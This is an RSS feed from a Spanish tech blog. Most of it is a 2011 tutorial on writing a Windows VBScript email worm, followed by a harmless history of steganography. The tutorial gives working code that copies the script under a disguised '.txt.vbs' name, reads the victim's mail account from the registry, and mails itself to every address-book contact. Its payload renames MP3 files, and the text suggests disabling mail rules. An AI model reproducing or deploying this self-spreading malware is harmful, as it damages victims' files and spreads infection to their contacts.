<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title> &#187; Underground</title>
	<atom:link href="http://www.teknoplof.com/category/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.teknoplof.com</link>
	<description></description>
	<lastBuildDate>Sun, 05 Feb 2012 21:54:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<meta xmlns="http://www.w3.org/1999/xhtml" name="robots" content="noindex,follow" />
		<item>
		<title>Programando fácilmente un virus para Windows</title>
		<link>http://www.teknoplof.com/2011/03/21/programando-facilmente-un-virus-para-windows/</link>
		<comments>http://www.teknoplof.com/2011/03/21/programando-facilmente-un-virus-para-windows/#comments</comments>
		<pubDate>Mon, 21 Mar 2011 16:00:48 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Underground]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[vbs]]></category>
		<category><![CDATA[virii]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[visual basic script]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows script host]]></category>
		<category><![CDATA[wsh]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=4417</guid>
		<description><![CDATA[Recientemente, la historia de los virus informáticos ha cumplido ya cuarenta años. Casi medio siglo de quebraderos de cabeza con los que los usuarios y las empresas han tenido que lidiar prácticamente a diario. Aquel viejo ideario de infecciones al estilo Creeper (1971) o el español Barrotes (1993), donde los virus representaban un arte y [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_4419" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-4419" title="Windows virii" src="http://www.teknoplof.com/wp-content/uploads/2011/03/virus_0.jpg" alt="Windows virii" width="180" height="172" /><p class="wp-caption-text">Windows virii</p></div>Recientemente, <strong>la historia de los virus informáticos </strong><a href="http://www.cookingideas.es/virus-40-20110317.html"><strong>ha cumplido ya cuarenta años</strong></a>. Casi medio siglo de quebraderos de cabeza con los que los usuarios y las empresas han tenido que lidiar prácticamente a diario. Aquel viejo ideario de infecciones al estilo <a href="http://es.wikipedia.org/wiki/Creeper_(virus)">Creeper</a> (1971) o el español Barrotes (1993), donde <strong>los virus representaban un arte y un reto intelectual totalmente inocuo</strong>, desencadenó en una tremenda oleada de software malicioso que robaba datos, destruía sistemas operativos y producía <strong>millones de euros en pérdidas</strong>. ¿Quién no recuerda los tiempos de Viernes 13 (1988), Melissa (1999) o LoveLetter (2000)?    </p>
<p>Desgraciadamente (o afortunadamente) las herramientas para elaborar cualquier pieza de software <strong>están hoy día al alcance de cualquiera</strong>. Los antiguos y complejos desarrollos en ensamblador han dado paso a lenguajes modernos de alto nivel, fáciles de aprender y rápidos de implementar.    </p>
<p>Los <a href="http://es.wikipedia.org/wiki/Batch">archivos de proceso por lotes</a> de MS-DOS (ficheros de extensión <code>.BAT</code>) fueron <strong>aquellos grandes olvidados en la programación de virus</strong>. No obstante, los expertos en su diseño vieron en ellos una <strong>alternativa veloz y potente para desarrollar </strong><a href="http://es.wikipedia.org/wiki/Malware"><em><strong>malware</strong></em></a>, y <a href="http://www.wikilearning.com/curso_gratis/el_fascinante_mundo_de_los_virus_informaticos-ejemplos_de_virus_en_ms_dos/4744-14">algún bicho codificado de aquella forma llegó a ver la luz</a>, eso sí, sin gran incidencia.    </p>
<p>Posteriormete, y <strong>gracias al procesamiento por lotes integrado en Windows</strong> a través de su herramienta de administración Windows Scripting Host (rebautizada en su segunda versión como <a href="http://es.wikipedia.org/wiki/Windows_Scripting_Host">Windows Script Host</a>), los desarrollos víricos se multiplicaron exponencialmente, pues la potencia de desarrollo, unida a la suave curva de aprendizaje, <strong>permitía generar virus mortíferos en horas</strong> o, incluso (dependiendo de la pericia del programador) en minutos.    </p>
<p>Windows Script Host (WSH) <strong>es una utilidad administrativa</strong> que se provee con todas las versiones del sistema operativo del tío Bill desde Windows 98. En principio, <strong>su utilidad se basa en la generación de archivos de lotes</strong>, sin embargo, la potencia de estos ficheros con respecto a los antiguos <a href="http://es.wikipedia.org/wiki/Batch">ficheros <em>batch</em></a> es muy superior. La fortaleza reside en dos conceptos primordiales: <strong>los lenguajes de programación</strong> que implementa y <strong>los objetos del sistema</strong> que es capaz de manejar.    </p>
<p>WSH permite utilizar en la actualidad <strong>un amplio abanico de motores de <em>script</em></strong> en su desarrollo, a saber: <a href="http://es.wikipedia.org/wiki/VBScript">VBScript</a>, <a href="http://es.wikipedia.org/wiki/JScript">JScript</a>, <a href="http://en.wikipedia.org/wiki/PerlScript">PerlScript</a>, <a href="http://www.oorexx.org/">ooRexx Script</a>, <a href="http://en.wikipedia.org/wiki/Python_(programming_language)">Python Script</a>, <a href="http://www.tclscript.com/">Tcl Script</a>, <a href="http://en.wikipedia.org/wiki/PHP_script">Active PHP Script</a>, <a href="http://www.ruby-lang.org/es/">Ruby Script</a>, <a href="http://www.oorexx.org/products.html">Object Rexx engine</a> y <a href="http://www.vclcomponents.com/Delphi/Miscellaneous/Delphi_script_component__Win__Script_Host_Control_-info.html">Delphi scripting engine</a>. Cualquier programador con conocimientos básicos de prácticamente cualquier lenguaje <strong>puede desarrollar un <em>script</em> para WSH</strong>. Asimismo, estos archivos de guión <strong>son capaces de acceder a características varias de un sistema operativo</strong> tales como, por ejemplo, variables de entorno, recursos de red compartidos, impresoras, el registro, el árbol de directorios, software instalado, Internet, archivos, etcétera. Una herramienta potente y <strong>un arma de doble filo</strong>.    </p>
<p>Lo que se propone aquí es <strong>una introducción al entorno WSH a través de aplicaciones en VBScript</strong>, el lenguaje de guión más sencillo e intuitivo, hermano pequeño torpe de Visual Basic. Como todo tutorial de programación que se precie, <strong>es preceptivo comenzar con una aplicación <code>"Hola mundo"</code></strong>, si no esto ni es tutorial ni es nada. Los archivos de <em>script</em> <strong>se escriben como texto plano sin formato</strong> en cualquier editor al uso (como <strong>Bloc de notas</strong>, por ejemplo). El código, con métodos del propio WSH y en formato VBScript, es el que sigue:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax1"></a><a style="wp-synhighlighter-title" href="#codesyntax1"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><div class="vb" style="font-family:monospace;">WScript.Echo &quot;Hola mundo&quot;<br />
WScript.Quit </div></div></div><br />
El objeto <code>WScript</code> proporciona <strong>el acceso a la raíz del modelo principal de objetos</strong> de WSH. No necesita ser declarado antes ser invocado, pues sus métodos y propiedades están siempre disponibles desde cualquier <em>script</em>. El método <code>Echo</code> <strong>muestra el cuadro de mensaje típico de Windows</strong> con un texto que se corresponde con la cadena alfanumérica que se le pasa como argumento (<code>"Hola mundo"</code>). Por último, el método <code>Quit</code> termina el <em>script</em>, forzándolo a parar su ejecución.    </p>
<p>¿Sencillo, verdad? Este archivo <strong>lo debemos guardar con la extensión <code>.VBS</code></strong> y, para ejecutarlo, sólo es necesario un doble clic en el icono correspondiente (o una llamada desde la línea de comandos de la consola).    </p>
<p>Si hubiésemos deseado generar un fichero JScript, los métodos no habrían variado, pues son propios del WSH, sin embargo <strong>la sintaxis habría sido sutilmente distinta</strong>:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax2"></a><a style="wp-synhighlighter-title" href="#codesyntax2"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código JScript</a></div><div class="wp-synhighlighter-inner"><div class="javascript" style="font-family:monospace;">WScript.Echo (&quot;Hola mundo&quot;);<br />
WScript.Quit (); </div></div></div><br />
Este archivo, para que funcionara correctamente, <strong>habríamos de guardarlo con extensión <code>.JS</code></strong>.    </p>
<p>Prosiguiendo con nuestra fatídica infección vírica, vamos a avanzar un paso más. <strong>Necesitamos conocer el idioma del sistema operativo</strong>, por lo que vamos a internarnos en el registro de Windows para extraer el dato de una manera elegante:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax3"></a><a style="wp-synhighlighter-title" href="#codesyntax3"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><div class="vb" style="font-family:monospace;"><span style="color: #000080;">Dim</span> WSc, IdiomaActual<br />
<span style="color: #000080;">Set</span> WSc = CreateObject(&quot;WScript.Shell&quot;)  <br />
<span style="color: #000080;">Sub</span> Idioma ()<br />
  <span style="color: #000080;">Dim</span> LeerRegistro  <br />
  LeerRegistro = WSc.RegRead (&quot;HKEY_CURRENT_USER\<span style="color: #000080;">Control</span> _<br />
    Panel\International\iCountry&quot;)  <br />
  <span style="color: #000080;">Select</span> <span style="color: #000080;">Case</span> LeerRegistro<br />
    <span style="color: #000080;">Case</span> 54,591,56,57,506,593,503,34,502,504,52,505,507,595,51,598,58<br />
      IdiomaActual = 1<br />
    <span style="color: #000080;">Case</span> 1,44<br />
      IdiomaActual = -1<br />
    <span style="color: #000080;">Case</span> <span style="color: #000080;">Else</span><br />
      IdiomaActual = 0<br />
   <span style="color: #000080;">End</span> <span style="color: #000080;">Select</span><br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span>   </div></div></div><br />
Tras la declaración inicial de variables se asigna a <code>WSc</code> el objeto <code>WScript.Shell</code>, que <strong>permite acceder al registro</strong>, entre otras virtudes como ejecutar programas, crear accesos directos o procurar el acceso a los directorios del sistema. Estas dos líneas están fuera del procedimiento <code>Sub</code> porque necesitamos <strong>que sean declaraciones globales</strong> a todo el <em>script</em> (las utilizaremos después también).    </p>
<p>El procedimiento <code>Sub Idioma ()</code> <strong>permite leer la clave de registro</strong> que necesitamos mediante el método <code>RegRead</code> de <code>WScript.Shell</code> y almacenarla en la variable local <code>LeerRegistro</code>. En función del valor que guarde <code>iCountry</code>, se asignará un <code>1</code>, un <code>-1</code> o un <code>0</code> a la variable global <code>IdiomaActual</code>, que después <strong>necesitaremos para cribar nuestra infección</strong>. En el caso de que <code>IdiomaActual</code> valga <code>1</code>, el <a href="http://en.wikipedia.org/wiki/Payload_(software)"><em>payload</em></a> (efecto visible del virus) será en castellano (se corresponde con <strong>los códigos locales de todos los países sudamericanos más España</strong>); en el caso de que <code>IdiomaActual</code> valga <code>1</code>, el <em>payload</em> será en inglés (<strong>Estados Unidos más Gran Bretaña</strong>); en el caso de <code>IdiomaActual</code> valga <code>0</code> (no se ha podido determinar el idioma), el <em>payload</em> será también en inglés, por si las moscas.    </p>
<p>Una vez obtengamos el idioma en el que está configurado el equipo que deseamos infectar, <strong>vamos a generar una copia del virus</strong> en el directorio del sistema para, desde ahí, enviarlo a los contactos de correo electrónico de la máquina víctima:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax4"></a><a style="wp-synhighlighter-title" href="#codesyntax4"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><div class="vb" style="font-family:monospace;"><span style="color: #000080;">Dim</span> FSO, ArchivoAdjunto<br />
<span style="color: #000080;">Set</span> FSO = CreateObject(&quot;Scripting.FileSystemObject&quot;) <br />
<span style="color: #000080;">Sub</span> CopiaMe ()<br />
  <span style="color: #000080;">Dim</span> DirectorioSistema<br />
  <span style="color: #000080;">Set</span> DirectorioSistema = FSO.GetSpecialFolder (1)<br />
  <span style="color: #000080;">Set</span> ArchivoAdjunto = FSO.GetFile (WScript.ScriptFullName)<br />
  <span style="color: #000080;">Select</span> <span style="color: #000080;">Case</span> IdiomaActual<br />
    <span style="color: #000080;">Case</span> 1<br />
      ArchivoAdjunto.Copy (DirectorioSistema &amp; &quot;\ayudame.txt.vbs&quot;)<br />
      ArchivoAdjunto = DirectorioSistema &amp; &quot;\ayudame.txt.vbs&quot;<br />
    <span style="color: #000080;">Case</span> 0,-1<br />
      ArchivoAdjunto.Copy (DirectorioSistema &amp; &quot;\helpme.txt.vbs&quot;)<br />
      ArchivoAdjunto = DirectorioSistema &amp; &quot;\helpme.txt.vbs&quot;<br />
  <span style="color: #000080;">End</span> <span style="color: #000080;">Select</span><br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span> </div></div></div><br />
Después de crear las variables globales pertinentes, generamos el objeto <code>FileSystemObject</code>, de la librería de tipos (localizada en el archivo <code>Scrrun.dll</code>), y lo almacenamos en la variable <code>FSO</code>. Este objeto <strong>posibilita el acceso a la gestión de carpetas y archivos</strong> (crear, copiar, mover, eliminar&#8230;).    </p>
<p>Ya dentro del procedimiento <code>Sub</code>, asignamos a <code>DirectorioSistema</code> el resultado de <code>GetSpecialFolder (1)</code>, esto es, la localización de los archivos de sistema (directorio por defecto <code>Windows\System</code>). Ese <code>1</code> indica carpeta de sistema; <code>0</code> sería el directorio general <code>Windows</code> y 2 el directorio temporal <code>Temp</code>.    </p>
<p>La propiedad <code>ScriptFullName</code> (sólo lectura) de <code>WScript</code> <strong>devuelve el nombre completo</strong> (ruta y nombre de archivo) <strong>del <em>script</em> actual</strong> mediante el método <code>GetFile</code> de <code>FileSystemObject</code>. Este nombre se guarda en la variable <code>ArchivoAdjunto</code>.    </p>
<p>Recurriendo a la variable global anterior <code>IdiomaActual</code>, copiamos (<code>Copy</code>) nuestro virus (<code>ArchivoAdjunto</code>) a la carpeta de sistema con un nombre en castellano (máquinas hispanoparlantes) o en inglés (máquinas anglosajonas).    </p>
<p><strong>El proceso de ocultación de este tipo de virus es bien sencillo</strong>, así como tremendamente ineficaz en según que configuraciones. Bien es sabida la capacidad de los entornos Windows para <strong>ocultar las extensiones de tipos de archivos conocidos</strong> (activada por defecto). Así pues, el truco consiste en nombrar el fichero con una cadena terminada en, por ejemplo, <code>.txt</code>, seguida de la extensión de rigor para el archivo de <em>script</em> (<code>.vbs</code>). De esta manera, y sólo si la característica de ocultación de extensiones está activada, <strong>el receptor del <em>malware</em> visualizará únicamente el nombre del archivo</strong> (en este caso <code>ayudame.txt</code> o <code>helpme.txt</code>), creyendo que lo que le remiten es un simple archivo de texto (¿nadie mira los iconos?). <strong>La sorpresa será mayúscula</strong> al momento de ejecutarlo.    </p>
<p>El siguiente paso es <strong>obtener los datos de la cuenta de correo electrónico</strong> de la víctima:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax5"></a><a style="wp-synhighlighter-title" href="#codesyntax5"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><span style="color: #000080;">Dim</span> ServidorSMTP, NombreCuenta, Correo <br />
<span style="color: #000080;">Sub</span> Cuenta()<br />
  <span style="color: #000080;">Dim</span> LeerRegistro, NuevaClave<br />
 WSc.RegWrite &quot;HKEY_CURRENT_USER\Software\Microsoft _<br />
    \Windows Script Host\Settings\Timeout&quot;,0,&quot;REG_DWORD&quot;<br />
  LeerRegistro = WSc.RegRead (&quot;HKEY_CURRENT_USER\Software\ _<br />
    Microsoft\Internet Account Manager\Default Mail Account&quot;)<br />
  NuevaClave = &quot;HKEY_CURRENT_USER\Software\Microsoft _<br />
    \Internet Account Manager\&quot; &amp; &quot;Accounts\&quot; &amp; LeerRegistro<br />
  ServidorSMTP = WSc.RegRead (NuevaClave &amp; &quot;\SMTP Server&quot;)<br />
  NombreCuenta = WSc.RegRead (NuevaClave &amp; &quot;\Account Name&quot;)<br />
  Correo = WSc.RegRead (NuevaClave &amp; &quot;\SMTP Email Address&quot;)<br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span> </div></div><br />
Mediante un acceso al registro igual al anterior, <strong>extraemos la clave que guarda el nombre de la cuenta de correo por defecto</strong> (<code>Mail Account</code>) y generamos una nueva cadena con otra clave de registro más el nombre de la cuenta. De esta nueva clave leemos y almacenamos la <strong>dirección del servidor SMTP</strong> de correo saliente, el <strong>nombre de la cuenta</strong> y la <strong>dirección de correo electrónico</strong>.    </p>
<p>Lo ideal ahora sería actuar sobre las reglas de mensaje del software cliente de correo electrónico, <strong>eliminándolas para que permitan el envío sin cortapisas</strong>. No nos detendremos en ello por no alargar más el asunto, pero el código no sería para nada complicado, teniendo en cuenta que <strong>se encuentran definidas y almacenadas también en el registro de Windows</strong> (las de <strong>Outlook Express 5</strong>, por ejemplo, en <code>HKEY_CURRENT_USER\Identities\<em>XXXX</em>\Software\Microsoft\Outlook Express\5.0\Rules\Mail</code>).    </p>
<p>Una vez recabados todos los datos, vamos a <strong>enviar nuestro virus por correo electrónico</strong>:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax6"></a><a style="wp-synhighlighter-title" href="#codesyntax6"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><span style="color: #000080;">Sub</span> Enviando ()<br />
  <span style="color: #000080;">Set</span> MAPISession = CreateObject (&quot;MSMAPI.mapiSession&quot;)<br />
  <span style="color: #000080;">Set</span> MAPIMessage = CreateObject (&quot;MSMAPI.mapiMessages&quot;) <br />
  <span style="color: #000080;">Dim</span> i<br />
  MAPISession.LogonUI = <span style="color: #000080;">False</span><br />
  MAPISession.DownloadMail = <span style="color: #000080;">False</span><br />
  MAPISession.SignOn <br />
 <span style="color: #000080;">Set</span> MAPIAddress = MAPISession.AddressList (0)<br />
  <span style="color: #000080;">For</span> i = 1 <span style="color: #000080;">To</span> MAPIAddress.AddressEntries.Count<br />
    MAPIAddress.AddressEntries (i)<br />
    MAPIMessage.SessionId = MAPISession.SessionId<br />
    MAPIMessage.Compose<br />
    MAPIMessage.RecipDisplayName = &quot;&lt;atacante@virus.soy&gt;&quot;<br />
    MAPIMessage.MsgSubject = &quot;Asunto del mensaje&quot;<br />
    MAPIMessage.MsgNoteText = &quot;Cuerpo del mensaje&quot;<br />
    MAPIMessage.AttachmentIndex = 0<br />
    MAPIMessage.AttachmentPathName = ArchivoAdjunto<br />
    MAPIMessage.AttachmentPosition = 0<br />
    MAPIMessage.Send (0)<br />
  <span style="color: #000080;">Next</span> i <br />
  MAPISession.SignOff<br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span> </div></div><br />
En este procedimiento <code>Sub</code>, simplemente nos servimos de <a href="http://en.wikipedia.org/wiki/MAPI">MAPI</a> (en castellano Interfaz de Programación de Aplicaciones de Mensajería) para <strong>enviar el correo con el archivo adjunto</strong>. Los métodos que proporciona MAPI son lo suficientemente claros y se explican por sí mismos (iniciar sesión, componer, rellenar datos, adjuntar archivos, enviar y cerrar sesión). El envío se remite <strong>a todos los contactos de la cuenta de correo</strong> en cuestión mediante un bucle que los recorre desde el primero hasta el último (<code>MAPIAddress.AddressEntries.Count</code>).    </p>
<p>Y, para finalizar, <strong>nos queda por programar el <em>payload</em> del virus</strong>, esto es, la acción visible (o no visible) que se ejecutará en la máquina infectada. El <em>payload</em> de un virus corre a cargo de la imaginación de cada uno. En función del hijoputismo con el que deseemos actuar, la acción final de un virus puede ir desde la simple molestia de <strong>mostrar un mensaje en pantalla</strong>, hasta la <strong>eliminación de archivos vitales</strong> para el usuario o para el sistema operativo (librerías <code>.DLL</code>, ficheros multimedia <code>.MP3</code> o <code>.AVI</code>, documentos <code>.DOC</code>, <code>.XLS</code> o <code>.MDB</code>, fotografías <code>.JPG</code>, etcétera).    </p>
<p>Nosotros, por aquello de no dar ideas, nos vamos a quedar a medio camino. Nuestro <em>payload</em> simplemente <strong>mostrará un mensaje en pantalla y renombrará todos aquellos ficheros en formato MP3</strong> que encuentre exclusivamente en el directorio raíz del disco duro principal. Así de sencillito:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax7"></a><a style="wp-synhighlighter-title" href="#codesyntax7"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><div class="vb" style="font-family:monospace;"><span style="color: #000080;">Sub</span> Payload ()<br />
  <span style="color: #000080;">Dim</span> Carpeta, ArchivoMP3<br />
  WScript.Echo &quot;Soy un virus malo malísimo.&quot; <br />
  <span style="color: #000080;">Set</span> Carpeta = FSO.GetFolder (&quot;C:\&quot;)<br />
  <span style="color: #000080;">For</span> <span style="color: #000080;">Each</span> ArchivoMP3 <span style="color: #000080;">in</span> Carpeta.Files<br />
    <span style="color: #000080;">If</span> Right (ArchivoMP3.Name, 3) = LCase (&quot;mp3&quot;) <span style="color: #000080;">Then</span><br />
      FSO.MoveFile ArchivoMP3.Path, Replace (&quot;C:\&quot; &amp; _<br />
        ArchivoMP3.Name, &quot;.mp3&quot;, &quot;.vir&quot;)<br />
    <span style="color: #000080;">End</span> <span style="color: #000080;">If</span><br />
  <span style="color: #000080;">Next</span><br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span> </div></div></div><br />
Mediante el método <code>GetFolder</code> de <code>FileSystemObject</code>, declarado anteriormente, asigno a la variable <code>Carpeta</code> la ruta especificada para, después, <strong>recorrer todos los archivos de esa ruta</strong> (<code>Carpeta.Files</code>) mediante un bucle (<code>For Each... Next</code>) comprobando si su extensión es la que busco (<code>Right (ArchivoMP3.Name, 3) = LCase ("mp3")</code>). En caso afirmativo, renombro (<code>FSO.MoveFile</code>) cada fichero, cambiando su extensión de <code>.MP3</code> a <code>.VIR</code>.    </p>
<p>La programación de virus al alcance de cualquiera <strong>es una realidad desde hace ya muchos años</strong>. Pero otra cosa también, <strong>la policía no es tonta</strong> y conocerá al cien por cien quién ha programado un virus, cuándo lo liberó en Internet y dónde apareció por primera vez. ¿Cómo lo hacen? De eso nos ocuparemos otro día. <strong>Hack the planet!</strong>, pero poquito y con cuidadín, que hacer el mal por hacer el mal <strong>es de bobos patológicos</strong>.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2011%2F03%2F21%2Fprogramando-facilmente-un-virus-para-windows%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2011/03/21/programando-facilmente-un-virus-para-windows/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Programando fácilmente un virus para Windows" data-url="http://www.teknoplof.com/2011/03/21/programando-facilmente-un-virus-para-windows/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2011/03/21/programando-facilmente-un-virus-para-windows/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Esteganografía retro para torpes</title>
		<link>http://www.teknoplof.com/2011/03/06/esteganografia-retro-para-torpes/</link>
		<comments>http://www.teknoplof.com/2011/03/06/esteganografia-retro-para-torpes/#comments</comments>
		<pubDate>Sun, 06 Mar 2011 14:49:33 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Informática en general]]></category>
		<category><![CDATA[Tecnologías varias]]></category>
		<category><![CDATA[Underground]]></category>
		<category><![CDATA[copy]]></category>
		<category><![CDATA[esteganografía]]></category>
		<category><![CDATA[ocultar]]></category>
		<category><![CDATA[retro]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=4344</guid>
		<description><![CDATA[La esteganografía (del griego steganos, que significa cubierto u oculto, y graphos, que significa escritura) es una disciplina que estudia y aplica técnicas de ocultación de mensajes dentro de otros mensajes o contenedores. Esta materia permite esconder información clasificada o valiosa en el interior de un portador aparentemente inofensivo y de nulo valor. No es [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_4346" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-4346" title="Ocultando cositas" src="http://www.teknoplof.com/wp-content/uploads/2011/03/este_0.jpg" alt="Ocultando cositas" width="180" height="135" /><p class="wp-caption-text">Ocultando cositas</p></div>La <a href="http://es.wikipedia.org/wiki/Esteganograf%C3%ADa">esteganografía</a> (del griego <em>steganos</em>, que significa cubierto u oculto, y <em>graphos</em>, que significa escritura) es una disciplina que estudia y aplica <strong>técnicas de ocultación de mensajes dentro de otros mensajes</strong> o contenedores. Esta materia permite esconder información clasificada o valiosa <strong>en el interior de un portador</strong> aparentemente inofensivo y de nulo valor. No es criptografía, pero se le parece.</p>
<p>En la antigua Grecia se comenzaron a utilizar técnicas esteganográficas para encubrir mensajes. Una de ellas, que ha llegado a conocerse en la actualidad, suponía <strong>el raspado de la cera que cubría una tablilla</strong> para escribir el texto en la propia madera. Posteriormente, se recubría de nuevo con cera para ocultar el escrito. El receptor sólo había de eliminar la cera protectora para acceder al mensaje.</p>
<p>Otra técnica helena consistía en <strong>el rasurado de la cabeza de esclavos</strong> en las que se tatuaba el contenido de la nota importante. Después, sólo se debía esperar a que creciera de nuevo el cabello para enviar al portador al destino del mensaje. Intercepciones en el camino nunca podrían sospechar que aquel esclavo <strong>portaba un recado de vital importancia</strong>.</p>
<p>Durante la Segunda Guerra Mundial, se usaron diversas técnicas para esconder mensajes. Una de ellas fue <strong>la utilización de </strong><a href="http://es.wikipedia.org/wiki/C%C3%B3digo_Morse"><strong>código morse</strong></a><strong> oculto en las letras de un escrito</strong> aparentemente sin importancia. La letras <em>i</em> y <em>j</em> hacían las veces de punto, y las letras <em>t</em> y <em>f</em> de raya. También se descubrieron procedimientos que <strong>ocultaban información en frases sencillas</strong>, destapando el enigma con sólo agrupar letras concretas de cada palabra. Un ejemplo es el texto siguiente: <em>Apparently neutral&#8217;s protest thoroughly discounted and ignored. Isman hard hit. Blockade issue affects pretext for embargo on by products, ejecting suets and vegetable oils</em> (Al parecer, la protesta neutral es completamente favorable e ignorada. Isman afectados. Cuestión de bloqueo afecta pretexto de embargo sobre los productos, expulsando sebo y aceites vegetales). Si tomamos <strong>la segunda letra de cada palabra</strong> aparece el mensaje: <em>Pershing sails from NYr June i</em> (Pershing parte desde Nueva York el 1 de junio).</p>
<p>La técnica más conocida por el común de los mortales es, sin duda, la de <strong>la </strong><a href="http://es.wikipedia.org/wiki/Tinta_invisible"><strong>tinta invisible</strong></a>. Especial mención a <strong>la escritura con zumo de limón</strong> que todos los niños conocen y que, posteriormente, se desvela aplicando una fuente de calor al documento. El <strong>alto contenido en carbono</strong> del jugo reacciona apareciendo el mensaje en un tono oscuro.</p>
<p>En la actualidad, <strong>la esteganografía se ha vuelto digital</strong>. La informática y los ordenadores modernos permiten ocultar, no sólo mensajes, sino <strong>ficheros de contenido multimedia completos</strong> dentro de otros archivos aparentemente inocuos. Existen multitud de piezas de software que <strong>posibilitan el encubrimiento y posterior mostrado de archivos escondidos</strong> en portadores inofensivos. Algunos que podemos citar son <a href="http://linux01.gwdg.de/~alatham/stego.html">JPHide/JPSeek</a>, <a href="http://www.canalada.org/foro/viewtopic.php?t=70">AdaStegano</a>, <a href="http://wbstego.wbailer.com/">wbStego</a> o <a href="http://www.petitcolas.net/fabien/steganography/mp3stego/">MP3Stego</a>. También disponemos de <strong>herramientas preparadas para identificar patrones esteganográficos</strong> en ficheros sospechosos de ocultar información oculta, como, por ejemplo, <a href="http://www.outguess.org/download.php">Stegdetect</a>, <a href="http://www.sarc-wv.com/products/stegalyzerss/">StegAlyzerSS</a> o <a href="http://sourceforge.net/projects/diit/files/">Digital Invisible Ink Toolkit</a>.</p>
